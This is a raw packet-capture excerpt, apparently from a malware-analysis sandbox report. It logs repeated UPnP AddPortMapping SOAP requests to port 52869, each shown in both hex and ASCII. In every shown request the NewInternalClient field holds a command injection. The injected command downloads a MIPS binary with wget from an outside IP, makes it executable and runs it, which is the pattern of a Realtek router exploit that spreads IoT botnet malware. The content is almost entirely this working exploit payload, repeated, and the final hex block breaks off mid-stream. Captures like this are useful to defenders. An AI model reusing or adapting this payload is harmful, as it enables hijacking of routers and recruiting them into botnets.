                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:44.953474998 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:52.377341986 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:07.224845886 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:37.943924904 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      90192.168.2.153380245.192.192.6552869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:37.740184069 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      91192.168.2.153979445.192.213.7652869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:41.409771919 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 